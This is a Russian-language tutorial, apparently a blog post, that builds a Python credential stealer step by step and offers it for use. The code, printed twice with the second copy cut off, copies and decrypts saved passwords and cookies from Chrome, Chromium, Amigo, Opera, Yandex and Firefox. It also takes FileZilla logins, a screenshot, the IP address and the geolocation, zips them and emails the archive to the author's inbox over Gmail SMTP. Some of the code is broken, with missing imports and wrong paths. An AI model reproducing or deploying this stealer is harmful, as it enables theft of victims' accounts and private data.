Как написать стиллер на телефон

Стиллер паролей на python

Привет, сейчас будем делать стиллер паролей на ЯП python. Наш стиллер будет воровать пароли браузеров таких как хром, яндекс браузер, амиго, и др., их куки, делать скриншот экрана, узнавать айпи адрес пк на котором открыли стиллер, его место нахождение и его установленная система.

Приступим к делу

Создаем новый файл в IDLE Python или в другой IDE.

Подключаем все нужные библиотеки. В некоторых нужно в cmd скачивать модули.

Все нужные модули

pip install pyinstaller
pip install requests==2.7.0
pip install pywin32
pip install ip2geotools
pip install opencv-python
pip install Pillow
pip install db-sqlite3
pip install temp

import os
from Crypto.Hash import SHA512
import sqlite3
import win32crypt
import email, ssl
import shutil
import requests
import zipfile
import getpass
import ip2geotools
import win32api
import platform
import tempfile
import smtplib
import time
import cv2
import sys
from PIL import ImageGrab
from email.mime.multipart import MIMEMultipart 
from email.mime.base import MIMEBase 
from email.message import Message
from email.mime.multipart import MIMEBase
from email.mime.text import MIMEText
from email.utils import COMMASPACE, formatdate
from email import encoders
from Tools.demo.mcast import sender
from ip2geotools.databases.noncommercial import DbIpCity
from os.path import basename
from smtplib import SMTP
from email.header import Header
from email.utils import parseaddr, formataddr
from base64 import encodebytes
import random

Собираем с пользователя все его данные.

################################################################################
#                              ВСЕ ДАННЫЕ И ЛОКАЦИЯ                            #
################################################################################
drives = str(win32api.GetLogicalDriveStrings())
drives = str(drives.split('00')[:-1])
response = DbIpCity.get(requests.get("https://ramziv.com/ip").text, api_key='free')
all_data = "Time: " + time.asctime() + 'n' + "Кодировка ФС: " + sys.getfilesystemencoding() + 'n' + "Cpu: " + platform.processor() + 'n' + "Система: " + platform.system() + ' ' + platform.release() + 'nIP: '+requests.get("https://ramziv.com/ip").text+'nГород: '+response.city+'nGen_Location:' + response.to_json() + 'nДиски:' + drives
file = open(os.getenv("APPDATA") + '\alldata.txt', "w+") #создаем txt с его расположением
file.write(all_data)#записываем данные
file.close()#выходим

Собираем пароли с хрома.

################################################################################
#                              GOOGLE PASSWORDS                                #
################################################################################
def Chrome(): 
   text = 'Passwords Chrome:' + 'n' 
   text += 'URL | LOGIN | PASSWORD' + 'n' 
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Login Data'): 
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Login Data', os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Login Data2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Login Data2') 
       cursor = conn.cursor()
       cursor.execute('SELECT action_url, username_value, password_value FROM logins')
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode() 
           login = result[1]
           url = result[0]
           if password != '':
               text += url + ' | ' + login + ' | ' + password + 'n' 
   return text
file = open(os.getenv("APPDATA") + '\google_pass.txt', "w+") #создаем txt с его расположением
file.write(str(Chrome()) + 'n')#записываем данные
file.close()

#выходим

Собираем куки с хрома.

################################################################################
#                              GOOGLE Cookies                                  #
################################################################################
def Chrome_cockie():
   textc = 'Cookies Chrome:' + 'n'
   textc += 'URL | COOKIE | COOKIE NAME' + 'n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Cookies'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Cookies', os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Cookies2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Cookies2')
       cursor = conn.cursor()
       cursor.execute("SELECT * from cookies")
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textc += url + ' | ' + str(cookie) + ' | ' + name + 'n'
   return textc
file = open(os.getenv("APPDATA") + '\google_cookies.txt', "w+") 
file.write(str(Chrome_cockie()) + 'n')
file.close()

Куки с firefox.

################################################################################
#                              FIREFOX Cookies                                 #
################################################################################
def Firefox():
   textf = ''
   textf +='Firefox Cookies:' + 'n'
   textf += 'URL | COOKIE | COOKIE NAME' + 'n'
   for root, dirs, files in os.walk(os.getenv("APPDATA") + '\Mozilla\Firefox\Profiles'):
       for name in dirs:
           conn = sqlite3.connect(os.path.join(root, name)+'\cookies.sqlite')
           cursor = conn.cursor()
           cursor.execute("SELECT baseDomain, value, name FROM moz_cookies")
           data = cursor.fetchall()
           for i in range(len(data)):
               url, cookie, name = data[i]
               textf += url + ' | ' + str(cookie) + ' | ' + name + 'n'     
       break
   return textf
file = open(os.getenv("APPDATA") + '\firefox_cookies.txt', "w+")
file.write(str(Firefox()) + 'n')
file.close()

Пароли с хромиума.

################################################################################
#                              CHROMIUM PASSWORDS                              #
################################################################################
def chromium():
   textch ='Chromium Passwords:' + 'n'
   textch += 'URL | LOGIN | PASSWORD' + 'n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\Chromium\User Data\Default'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\Chromium\User Data\Default\Login Data', os.getenv("LOCALAPPDATA") + '\Chromium\User Data\Default\Login Data2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\Chromium\User Data\Default\Login Data2')
       cursor = conn.cursor()
       cursor.execute('SELECT action_url, username_value, password_value FROM logins')
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != '':
               textch += url + ' | ' + login + ' | ' + password + 'n'
               return textch
file = open(os.getenv("APPDATA") + '\chromium.txt', "w+")
file.write(str(chromium()) + 'n')
file.close()

Куки с хромиума.

################################################################################
#                              CHROMIUM cookies                                #
################################################################################
def chromiumc():
   textchc = '' 
   textchc +='Chromium Cookies:' + 'n'
   textchc += 'URL | COOKIE | COOKIE NAME' + 'n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\Chromium\User Data\Default\Cookies'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\Chromium\User Data\Default\Cookies', os.getenv("LOCALAPPDATA") + '\Chromium\User Data\Default\Cookies2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\Chromium\User Data\Default\Cookies2')
       cursor = conn.cursor()
       cursor.execute("SELECT * from cookies")
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textchc += url + ' | ' + str(cookie) + ' | ' + name + 'n'
   return textchc
file = open(os.getenv("APPDATA") + '\chromium_cookies.txt', "w+")
file.write(str(chromiumc()) + 'n')
file.close()

Пароли с амиго.

################################################################################
#                              AMIGO PASSWORDS                                 #
################################################################################
def Amigo():
   textam = 'Passwords Amigo:' + 'n'
   textam += 'URL | LOGIN | PASSWORD' + 'n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\Amigo\User Data\Default\Login Data'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\Amigo\User Data\Default\Login Data', os.getenv("LOCALAPPDATA") + '\Amigo\User Data\Default\Login Data2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\Amigo\User Data\Default\Login Data2')
       cursor = conn.cursor()
       cursor.execute('SELECT action_url, username_value, password_value FROM logins')
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != '':
               textam += url + ' | ' + login + ' | ' + password + 'n'
file = open(os.getenv("APPDATA") + '\amigo_pass.txt', "w+")
file.write(str(Amigo()) + 'n')
file.close()

Куки с амиго.

################################################################################
#                              AMIGO cookies                                   #
################################################################################
def Amigo_c():
   textamc = 'Cookies Amigo:' + 'n'
   textamc += 'URL | COOKIE | COOKIE NAME' + 'n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\Amigo\User Data\Default\Cookies'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\Amigo\User Data\Default\Cookies', os.getenv("LOCALAPPDATA") + '\Amigo\User Data\Default\Cookies2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\Amigo\User Data\Default\Cookies2')
       cursor = conn.cursor()
       cursor.execute("SELECT * from cookies")
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textamc += url + ' | ' + str(cookie) + ' | ' + name + 'n'
   return textamc
file = open(os.getenv("APPDATA") + '\amigo_cookies.txt', "w+")
file.write(str(Amigo_c()) + 'n')
file.close()

Пароли с оперы.

################################################################################
#                              OPERA PASSWORDS                                 #
################################################################################
def Opera():
   texto = 'Passwords Opera:' + 'n'
   texto += 'URL | LOGIN | PASSWORD' + 'n'
   if os.path.exists(os.getenv("APPDATA") + '\Opera Software\Opera Stable\Login Data'):
       shutil.copy2(os.getenv("APPDATA") + '\Opera Software\Opera Stable\Login Data', os.getenv("APPDATA") + '\Opera Software\Opera Stable\Login Data2')
       conn = sqlite3.connect(os.getenv("APPDATA") + '\Opera Software\Opera Stable\Login Data2')
       cursor = conn.cursor()
       cursor.execute('SELECT action_url, username_value, password_value FROM logins')
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != '':
               texto += url + ' | ' + login + ' | ' + password + 'n'
file = open(os.getenv("APPDATA") + '\opera_pass.txt', "w+")
file.write(str(Opera()) + 'n')
file.close()

Пароли с фаира.

################################################################################
#                              FIREFOX PASSWORDS                               #
################################################################################
def Firefox_cookies():
   texto = 'Passwords firefox:' + 'n'
   texto += 'URL | LOGIN | PASSWORD' + 'n'
   if os.path.exists(os.getenv("APPDATA") + '\AppData\Roaming\Mozilla\Firefox'):
       shutil.copy2(os.getenv("APPDATA") + '\AppData\Roaming\Mozilla\Firefox2', os.getenv("APPDATA") + '\AppData\Roaming\Mozilla\Firefox2')
       conn = sqlite3.connect(os.getenv("APPDATA") + '\AppData\Roaming\Mozilla\Firefox2')
       cursor = conn.cursor()
       cursor.execute('SELECT action_url, username_value, password_value FROM logins')
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != '':
               texto += url + ' | ' + login + ' | ' + password + 'n'
file = open(os.getenv("APPDATA") + '\firefox_pass.txt', "w+")
file.write(str(Firefox_cookies()) + 'n')
file.close()

Пароли с яндекс браузера.

################################################################################
#                              YANDEX PASSWORDS                                #
################################################################################
def Yandexpass():
    textyp = 'Passwords Yandex:' + 'n'
    textyp += 'URL | LOGIN | PASSWORD' + 'n'
    if os.path.exists(os.getenv("LOCALAPPDATA") + '\Yandex\YandexBrowser\User Data\Default\Ya Login Data.db'):
        shutil.copy2(os.getenv("LOCALAPPDATA") + '\Yandex\YandexBrowser\User Data\Default\Ya Login Data.db', os.getenv("LOCALAPPDATA") + '\Yandex\YandexBrowser\User Data\Default\Ya Login Data2.db')
        conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\Yandexe\YandexBrowser\User Data\Default\Ya Login Data2.db')
        cursor = conn.cursor()
        cursor.execute('SELECT action_url, username_value, password_value FROM logins')
        for result in cursor.fetchall():
            password = win32crypt.CryptUnprotectData(result[2])[1].decode()
            login = result[1]
            url = result[0]
            if password != '':
                textyp += url + ' | ' + login + ' | ' + password + 'n'
    return textyp
file = open(os.getenv("APPDATA") + '\yandex_passwords.txt', "w+")
file.write(str(Yandexpass()) + 'n')
file.close()

Куки с оперы.

################################################################################
#                             OPERA cookies                                    #
################################################################################
def Opera_c():
    textoc ='Cookies Opera:' + 'n'
    textoc += 'URL | COOKIE | COOKIE NAME' + 'n'
    if os.path.exists(os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Cookies'):
      shutil.copy2(os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Cookies', os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Cookies2')
      conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Cookies2')
      cursor = conn.cursor()
      cursor.execute("SELECT * from cookies")
      for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textoc += url + ' | ' + str(cookie) + ' | ' + name + 'n'
    return textoc
file = open(os.getenv("APPDATA") + '\opera_cookies.txt', "w+")
file.write(str(Opera_c()) + 'n')
file.close()

Данные с FILEZILLA.

################################################################################
#                             FILEZILLA                                        #
################################################################################
def filezilla():
   try:
       data = ''
       if os.path.isfile(os.getenv("APPDATA") + '\FileZilla\recentservers.xml') is True:
           root = etree.parse(os.getenv("APPDATA") + '\FileZilla\recentservers.xml').getroot()

           for i in range(len(root[0])):
               host = root[0][i][0].text
               port = root[0][i][1].text
               user = root[0][i][4].text
               password = base64.b64decode(root[0][i][5].text).decode('utf-8')
               data += 'host: ' + host + '|port: ' + port + '|user: ' + user + '|pass: ' + password + 'n'
           return data
       else:
           return 'Not found'
   except Exception:
       return 'Error'
textfz = filezilla()
textfz += 'Filezilla: ' + 'n' + filezilla() + 'n'
file = open(os.getenv("APPDATA") + '\filezilla.txt', "w+")
file.write(str(filezilla()) + 'n')
file.close()

Делаем скриншот экрана.

################################################################################
#                             SCREEN                                           #
################################################################################
screen = ImageGrab.grab()
screen.save(os.getenv("APPDATA") + '\sreenshot.jpg')

Тут записываем наши тхт в один ZIP — doc.

################################################################################
#                              PACKING TO ZIP                                  #
################################################################################
zname = r'C:\Users\' + getpass.getuser() + '\AppData\Local\Temp\LOG.zip'
NZ = zipfile.ZipFile(zname,'w')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\firefox_pass.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\firefox_cookies.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\yandex_passwords.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\alldata.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\google_pass.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\google_cookies.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\chromium.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\chromium_cookies.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\amigo_pass.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\amigo_cookies.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\opera_pass.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\opera_cookies.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\filezilla.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\sreenshot.jpg')
NZ.close() 

Вот он наш ZIP по всеми данными.

################################################################################
#                              DOC-НАШ ZIP                                     #
################################################################################
doc = 'C:\Users\' + getpass.getuser() + '\AppData\Local\Temp\LOG.zip'

Оформляем отправку.

################################################################################
#                              ОТПРАВКА                                        #
################################################################################
'↑Stealler by Andrew_Shipunov↑'.encode('utf-8')
msgtext = MIMEText('↑Stealler by Andrew_Shipunov↑'.encode('utf-8'), 'plain', 'utf-8')
msg = MIMEMultipart()
msg['From'] = 'тут ваша новая почта с которой отправится'
msg['To'] = 'почта на которую отправится'
msg['Subject'] = getpass.getuser() + '-PC'
msg.attach(msgtext)

Тут мы создаем вложение для нашего doc’а ZIP.

################################################################################
#                              СОЗДАНИЕ Вложения                                #
################################################################################
part = MIMEBase('application', "zip")
b = open(doc, "rb").read()
bs = encodebytes(b).decode()
part.set_payload(bs)
part.add_header('Content-Transfer-Encoding', 'base64')
part.add_header('Content-Disposition', 'attachment; filename="LOG.zip"')
msg.attach(part)

Здесь мы собственно производим отправку на емаил с помощью SMTP

################################################################################
#                              ОТПРАВКА ВАМ                                    #
################################################################################
s = smtplib.SMTP('smtp.gmail.com', 587)#ваш почтовый сервис,советую создавать новую гмаил
s.starttls()                                   
s.login('тут ваша новая почта с которой отправится', 'тут пароль от новой почты')
s.sendmail('тут ваша новая почта с которой отправится', 'почта на которую отправится', msg.as_string())
s.quit()
i = input()

Чтобы отправилось сообщение с вашей новой почты gmail нужно проделать это:
На странице «Аккаунт Google» откройте раздел Ненадежные приложения, у которых есть доступ к аккаунту, и включите. Тогда все будет ОК.

Весь код

import os
from Crypto.Hash import SHA512
import sqlite3
import win32crypt
import email, ssl
import shutil
import requests
import zipfile
import getpass
import ip2geotools
import win32api
import platform
import tempfile
import smtplib
import time
import cv2
import sys
from PIL import ImageGrab
from email.mime.multipart import MIMEMultipart 
from email.mime.base import MIMEBase 
from email.message import Message
from email.mime.multipart import MIMEBase
from email.mime.text import MIMEText
from email.utils import COMMASPACE, formatdate
from email import encoders
from Tools.demo.mcast import sender
from ip2geotools.databases.noncommercial import DbIpCity
from os.path import basename
from smtplib import SMTP
from email.header import Header
from email.utils import parseaddr, formataddr
from base64 import encodebytes
import random
################################################################################
#                              ВСЕ ДАННЫЕ И ЛОКАЦИЯ                            #
################################################################################
drives = str(win32api.GetLogicalDriveStrings())
drives = str(drives.split('00')[:-1])
response = DbIpCity.get(requests.get("https://ramziv.com/ip").text, api_key='free')
all_data = "Time: " + time.asctime() + 'n' + "Кодировка ФС: " + sys.getfilesystemencoding() + 'n' + "Cpu: " + platform.processor() + 'n' + "Система: " + platform.system() + ' ' + platform.release() + 'nIP: '+requests.get("https://ramziv.com/ip").text+'nГород: '+response.city+'nGen_Location:' + response.to_json() + 'nДиски:' + drives
file = open(os.getenv("APPDATA") + '\alldata.txt', "w+") 
file.write(all_data)
file.close()
################################################################################
#                              GOOGLE PASSWORDS                                #
################################################################################
def Chrome(): 
   text = 'Passwords Chrome:' + 'n' 
   text += 'URL | LOGIN | PASSWORD' + 'n' 
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Login Data'): 
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Login Data', os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Login Data2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Login Data2') 
       cursor = conn.cursor()
       cursor.execute('SELECT action_url, username_value, password_value FROM logins')
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode() 
           login = result[1]
           url = result[0]
           if password != '':
               text += url + ' | ' + login + ' | ' + password + 'n' 
   return text
file = open(os.getenv("APPDATA") + '\google_pass.txt', "w+")
file.write(str(Chrome()) + 'n')
file.close()
################################################################################
#                              GOOGLE Cookies                                  #
################################################################################
def Chrome_cockie():
   textc = 'Cookies Chrome:' + 'n'
   textc += 'URL | COOKIE | COOKIE NAME' + 'n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Cookies'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Cookies', os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Cookies2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Cookies2')
       cursor = conn.cursor()
       cursor.execute("SELECT * from cookies")
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textc += url + ' | ' + str(cookie) + ' | ' + name + 'n'
   return textc
file = open(os.getenv("APPDATA") + '\google_cookies.txt', "w+") 
file.write(str(Chrome_cockie()) + 'n')
file.close()
################################################################################
#                              FIREFOX Cookies                                 #
################################################################################
def Firefox():
   textf = ''
   textf +='Firefox Cookies:' + 'n'
   textf += 'URL | COOKIE | COOKIE NAME' + 'n'
   for root, dirs, files in os.walk(os.getenv("APPDATA") + '\Mozilla\Firefox\Profiles'):
       for name in dirs:
           conn = sqlite3.connect(os.path.join(root, name)+'\cookies.sqlite')
           cursor = conn.cursor()
           cursor.execute("SELECT baseDomain, value, name FROM moz_cookies")
           data = cursor.fetchall()
           for i in range(len(data)):
               url, cookie, name = data[i]
               textf += url + ' | ' + str(cookie) + ' | ' + name + 'n'     
       break
   return textf
file = open(os.getenv("APPDATA") + '\firefox_cookies.txt', "w+")
file.write(str(Firefox()) + 'n')
file.close()
################################################################################
#                              CHROMIUM PASSWORDS                              #
################################################################################
def chromium():
   textch ='Chromium Passwords:' + 'n'
   textch += 'URL | LOGIN | PASSWORD' + 'n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\Chromium\User Data\Default'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\Chromium\User Data\Default\Login Data', os.getenv("LOCALAPPDATA") + '\Chromium\User Data\Default\Login Data2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\Chromium\User Data\Default\Login Data2')
       cursor = conn.cursor()
       cursor.execute('SELECT action_url, username_value, password_value FROM logins')
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != '':
               textch += url + ' | ' + login + ' | ' + password + 'n'
               return textch
file = open(os.getenv("APPDATA") + '\chromium.txt', "w+")
file.write(str(chromium()) + 'n')
file.close()
################################################################################
#                              CHROMIUM cookies                                #
################################################################################
def chromiumc():
   textchc = '' 
   textchc +='Chromium Cookies:' + 'n'
   textchc += 'URL | COOKIE | COOKIE NAME' + 'n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\Chromium\User Data\Default\Cookies'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\Chromium\User Data\Default\Cookies', os.getenv("LOCALAPPDATA") + '\Chromium\User Data\Default\Cookies2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\Chromium\User Data\Default\Cookies2')
       cursor = conn.cursor()
       cursor.execute("SELECT * from cookies")
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textchc += url + ' | ' + str(cookie) + ' | ' + name + 'n'
   return textchc
file = open(os.getenv("APPDATA") + '\chromium_cookies.txt', "w+")
file.write(str(chromiumc()) + 'n')
file.close()
################################################################################
#                              AMIGO PASSWORDS                                 #
################################################################################
def Amigo():
   textam = 'Passwords Amigo:' + 'n'
   textam += 'URL | LOGIN | PASSWORD' + 'n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\Amigo\User Data\Default\Login Data'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\Amigo\User Data\Default\Login Data', os.getenv("LOCALAPPDATA") + '\Amigo\User Data\Default\Login Data2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\Amigo\User Data\Default\Login Data2')
       cursor = conn.cursor()
       cursor.execute('SELECT action_url, username_value, password_value FROM logins')
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != '':
               textam += url + ' | ' + login + ' | ' + password + 'n'
file = open(os.getenv("APPDATA") + '\amigo_pass.txt', "w+")
file.write(str(Amigo()) + 'n')
file.close()
################################################################################
#                              AMIGO cookies                                   #
################################################################################
def Amigo_c():
   textamc = 'Cookies Amigo:' + 'n'
   textamc += 'URL | COOKIE | COOKIE NAME' + 'n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\Amigo\User Data\Default\Cookies'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\Amigo\User Data\Default\Cookies', os.getenv("LOCALAPPDATA") + '\Amigo\User Data\Default\Cookies2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\Amigo\User Data\Default\Cookies2')
       cursor = conn.cursor()
       cursor.execute("SELECT * from cookies")
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textamc += url + ' | ' + str(cookie) + ' | ' + name + 'n'
   return textamc
file = open(os.getenv("APPDATA") + '\amigo_cookies.txt', "w+")
file.write(str(Amigo_c()) + 'n')
file.close()
################################################################################
#                              OPERA PASSWORDS                                 #
################################################################################
def Opera():
   texto = 'Passwords Opera:' + 'n'
   texto += 'URL | LOGIN | PASSWORD' + 'n'
   if os.path.exists(os.getenv("APPDATA") + '\Opera Software\Opera Stable\Login Data'):
       shutil.copy2(os.getenv("APPDATA") + '\Opera Software\Opera Stable\Login Data', os.getenv("APPDATA") + '\Opera Software\Opera Stable\Login Data2')
       conn = sqlite3.connect(os.getenv("APPDATA") + '\Opera Software\Opera Stable\Login Data2')
       cursor = conn.cursor()
       cursor.execute('SELECT action_url, username_value, password_value FROM logins')
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != '':
               texto += url + ' | ' + login + ' | ' + password + 'n'
file = open(os.getenv("APPDATA") + '\opera_pass.txt', "w+")
file.write(str(Opera()) + 'n')
file.close()
################################################################################
#                              FIREFOX PASSWORDS                               #
################################################################################
def Firefox_cookies():
   texto = 'Passwords firefox:' + 'n'
   texto += 'URL | LOGIN | PASSWORD' + 'n'
   if os.path.exists(os.getenv("APPDATA") + '\AppData\Roaming\Mozilla\Firefox'):
       shutil.copy2(os.getenv("APPDATA") + '\AppData\Roaming\Mozilla\Firefox2', os.getenv("APPDATA") + '\AppData\Roaming\Mozilla\Firefox2')
       conn = sqlite3.connect(os.getenv("APPDATA") + '\AppData\Roaming\Mozilla\Firefox2')
       cursor = conn.cursor()
       cursor.execute('SELECT action_url, username_value, password_value FROM logins')
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != '':
               texto += url + ' | ' + login + ' | ' + password + 'n'
file = open(os.getenv("APPDATA") + '\firefox_pass.txt', "w+")
file.write(str(Firefox_cookies()) + 'n')
file.close()
################################################################################
#                              YANDEX PASSWORDS                                #
################################################################################
def Yandexpass():
    textyp = 'Passwords Yandex:' + 'n'
    textyp += 'URL | LOGIN | PASSWORD' + 'n'
    if os.path.exists(os.getenv("LOCALAPPDATA") + '\Yandex\YandexBrowser\User Data\Default\Ya Login Data.db'):
        shutil.copy2(os.getenv("LOCALAPPDATA") + '\Yandex\YandexBrowser\User Data\Default\Ya Login Data.db', os.getenv("LOCALAPPDATA") + '\Yandex\YandexBrowser\User Data\Default\Ya Login Data2.db')
        conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\Yandexe\YandexBrowser\User Data\Default\Ya Login Data2.db')
        cursor = conn.cursor()
        cursor.execute('SELECT action_url, username_value, password_value FROM logins')
        for result in cursor.fetchall():
            password = win32crypt.CryptUnprotectData(result[2])[1].decode()
            login = result[1]
            url = result[0]
            if password != '':
                textyp += url + ' | ' + login + ' | ' + password + 'n'
    return textyp
file = open(os.getenv("APPDATA") + '\yandex_passwords.txt', "w+")
file.write(str(Yandexpass()) + 'n')
file.close()
################################################################################
#                             OPERA cookies                                    #
################################################################################
def Opera_c():
    textoc ='Cookies Opera:' + 'n'
    textoc += 'URL | COOKIE | COOKIE NAME' + 'n'
    if os.path.exists(os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Cookies'):
      shutil.copy2(os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Cookies', os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Cookies2')
      conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\Google\Chrome\User Data\Default\Cookies2')
      cursor = conn.cursor()
      cursor.execute("SELECT * from cookies")
      for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textoc += url + ' | ' + str(cookie) + ' | ' + name + 'n'
    return textoc
file = open(os.getenv("APPDATA") + '\opera_cookies.txt', "w+")
file.write(str(Opera_c()) + 'n')
file.close()
################################################################################
#                             FILEZILLA                                        #
################################################################################
def filezilla():
   try:
       data = ''
       if os.path.isfile(os.getenv("APPDATA") + '\FileZilla\recentservers.xml') is True:
           root = etree.parse(os.getenv("APPDATA") + '\FileZilla\recentservers.xml').getroot()

           for i in range(len(root[0])):
               host = root[0][i][0].text
               port = root[0][i][1].text
               user = root[0][i][4].text
               password = base64.b64decode(root[0][i][5].text).decode('utf-8')
               data += 'host: ' + host + '|port: ' + port + '|user: ' + user + '|pass: ' + password + 'n'
           return data
       else:
           return 'Not found'
   except Exception:
       return 'Error'
textfz = filezilla()
textfz += 'Filezilla: ' + 'n' + filezilla() + 'n'
file = open(os.getenv("APPDATA") + '\filezilla.txt', "w+")
file.write(str(filezilla()) + 'n')
file.close()
################################################################################
#                             SCREEN                                           #
################################################################################
screen = ImageGrab.grab()
screen.save(os.getenv("APPDATA") + '\sreenshot.jpg')
################################################################################
#                              PACKING TO ZIP                                  #
################################################################################
zname = r'C:\Users\' + getpass.getuser() + '\AppData\Local\Temp\LOG.zip'
NZ = zipfile.ZipFile(zname,'w')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\firefox_pass.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\firefox_cookies.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\yandex_passwords.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\alldata.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\google_pass.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\google_cookies.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\chromium.txt')
